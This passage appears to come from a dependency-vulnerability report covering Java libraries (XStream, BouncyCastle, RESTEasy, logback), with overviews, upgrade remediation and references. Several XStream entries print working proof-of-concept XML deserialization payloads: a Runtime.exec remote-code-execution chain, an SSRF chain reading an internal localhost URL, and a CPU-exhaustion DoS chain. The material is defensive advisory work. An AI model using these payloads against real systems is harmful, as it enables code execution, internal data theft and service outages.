xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• CISA - Known Exploited Vulnerabilities
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>jdk.nashorn.internal.runtime.Source</class>
                          <name>readFully</name>
                          <parameter-types>
                            <class>java.net.URL</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <url>http://localhost:8080/internal/</url>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream and replace or inject objects, that result in exponential recursively hashcode calculation,

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.19 or higher.

References

• GitHub Commit
• XStream Advisory

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is vulnerability which may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <is class='java.io.ByteArrayInputStream'>
            <buf></buf>
            <pos>-2147483648</pos>
            <mark>0</mark>
            <count>0</count>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.16 or higher.

References

• XStream Advisory
• XStream Changelog
• XStream Workaround

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Information Exposure. Attackers can obtain sensitive information about a private exponent because of Observable Differences in Behavior to Error Inputs. This occurs in org.bouncycastle.crypto.encodings.OAEPEncoding. Sending invalid ciphertext that decrypts to a short payload in the OAEP Decoder could result in the throwing of an early exception, potentially leaking some information about the private exponent of the RSA private key performing the encryption.

Remediation

Upgrade org.bouncycastle:bcprov-jdk15on to version 1.61 or higher.

References

• GitHub Commit
• Github Wiki

Overview

BouncyCastle is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Insecure Encryption. It has a flaw in the Low-level interface to RSA key pair generator, specifically RSA Key Pairs generated in low-level API with added certainty may have less M-R tests than expected.

Remediation

Upgrade org.bouncycastle:bcprov-jdk15on to version 1.60 or higher.

References

• Bug Report
• BC Jira Issue
• GitHub Commit #1
• GitHub Commit #2

Overview

org.jboss.resteasy:resteasy-jaxrs is a JCP specification that provides a Java API for RESTful Web Services over the HTTP protocol.

Affected versions of this package are vulnerable to HTTP Request Smuggling. It was discovered that the CORS Filter did not add an HTTP Vary header indicating that the response varies depending on Origin. This permitted client and server side cache poisoning in some circumstances.

Remediation

Upgrade org.jboss.resteasy:resteasy-jaxrs to version 3.5.0.CR1, 3.0.25.Final or higher.

References

• GitHub PR
• Jira Issue
• Stack Overflow Question

Overview

org.jboss.resteasy:resteasy-jaxrs is a JCP specification that provides a Java API for RESTful Web Services over the HTTP protocol.

Affected versions of this package are vulnerable to Improper Input Validation in MediaTypeHeaderDelegate.java class results in the class returning an illegal header that will be then integrated in the server's response.

Remediation

Upgrade org.jboss.resteasy:resteasy-jaxrs to version 3.11.0.Final or higher.

References

• GitHub Commit
• RedHat Bugzilla Bug

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ch.qos.logback:logback-core to version 1.2.13, 1.3.12, 1.4.12 or higher.

References

• Changelog
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the logback receiver component. An attacker can mount a denial-of-service attack by sending poisoned data.

Note:

Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.2.13, 1.3.14, 1.4.14 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Release Notes
• Release Notes

Overview

org.jboss.resteasy:resteasy-jaxrs is a JCP specification that provides a Java API for RESTful Web Services over the HTTP protocol.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It did not properly handle URL encoding when the RESTEASY003870 exception occurs. An attacker could use this flaw to launch a reflected XSS attack.

Note: The vulnerability still exists in versions 4.0.0.Beta1-5. Beyond that, the vulnerable function was removed from the code, and the versions above are not distributed in Maven Central.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.jboss.resteasy:resteasy-jaxrs to version 3.11.1.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• Jira Issue
• RedHat Bugzilla Bug